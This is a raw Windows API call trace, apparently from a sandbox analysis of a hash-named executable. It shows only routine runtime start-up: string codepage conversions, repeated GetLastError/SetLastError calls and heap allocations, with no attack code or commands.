!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ²/ô£Dú\x1a", lpUsedDefaultChar=0x0) returned 256 [0035.861] GetLastError () returned 0x5 [0035.861] SetLastError (dwErrCode=0x5) [0035.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1af90c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0035.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1af90c, cbMultiByte=256, lpWideCharStr=0x1af268, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0035.861] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0035.861] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x1af058, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0035.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x1af70c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ²/ô£Dú\x1a", lpUsedDefaultChar=0x0) returned 256 [0035.861] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xb8f728, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0035.861] GetLastError () returned 0x0 [0035.861] SetLastError (dwErrCode=0x0) [0035.861] GetLastError () returned 0x0 [0035.861] SetLastError (dwErrCode=0x0) [0035.861] GetLastError () returned 0x0 [0035.861] SetLastError (dwErrCode=0x0) [0035.861] GetLastError () returned 0x0 [0035.862] SetLastError (dwErrCode=0x0) [0035.862] GetLastError () returned 0x0 [0035.862] SetLastError (dwErrCode=0x0) [0035.863] GetLastError () returned 0x0 [0035.863] SetLastError (dwErrCode=0x0) [0035.863] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.864] SetLastError (dwErrCode=0x0) [0035.864] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.865] GetLastError () returned 0x0 [0035.865] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.866] SetLastError (dwErrCode=0x0) [0035.866] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.867] SetLastError (dwErrCode=0x0) [0035.867] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.868] SetLastError (dwErrCode=0x0) [0035.868] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.869] SetLastError (dwErrCode=0x0) [0035.869] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.870] SetLastError (dwErrCode=0x0) [0035.870] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x68) returned 0xab19e8 [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.871] GetLastError () returned 0x0 [0035.871] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.872] GetLastError () returned 0x0 [0035.872] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.873] GetLastError () returned 0x0 [0035.873] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.874] SetLastError (dwErrCode=0x0) [0035.874] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.875] GetLastError () returned 0x0 [0035.875] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.876] SetLastError (dwErrCode=0x0) [0035.876] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.877] SetLastError (dwErrCode=0x0) [0035.877] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.878] SetLastError (dwErrCode=0x0) [0035.878] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] GetLastError () returned 0x0 [0035.879] SetLastError (dwErrCode=0x0) [0035.879] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x98) returned 0xab1a58 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1f) returned 0xab1af8 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x2b) returned 0xab1b20 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x37) returned 0xab1b58 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x3c) returned 0xab1b98 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x31) returned 0xab1be0 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x18) returned 0xab1c20 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x24) returned 0xab1c40 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x14) returned 0xab1c70 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0xd) returned 0xab1c90 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1a) returned 0xab1ca8 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x2e) returned 0xab1cd0 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x19) returned 0xab1d08 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x17) returned 0xab1d30 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0xe) returned 0xab1d50 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0xce) returned 0xab1d68 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x3e) returned 0xab1e40 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1b) returned 0xab1e88 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1d) returned 0xab1eb0 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x48) returned 0xab1ed8 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x12) returned 0xab1f28 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x18) returned 0xab1f48 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1b) returned 0xab1f68 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x24) returned 0xab1f90 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x29) returned 0xab1fc0 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1ff8 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x6b) returned 0xab2020 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x17) returned 0xab2098 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0xf) returned 0xab20b8 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x16) returned 0xab20d0 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x2a) returned 0xab20f0 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x29) returned 0xab2128 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x16) returned 0xab2160 [0035.880] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x13) returned 0xab2180 [0035.881] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1f) returned 0xab21a0 [0035.881] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x12) returned 0xab21c8 [0035.881] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x18) returned 0xab21e8 [0035.881] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x46) returned 0xab2208 [0035.896] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab11f8 | out: hHeap=0xab0000) returned 1 [0035.897] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0035.897] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x80) returned 0xab11f8 [0035.898] SetUnhandledExceptionFilter 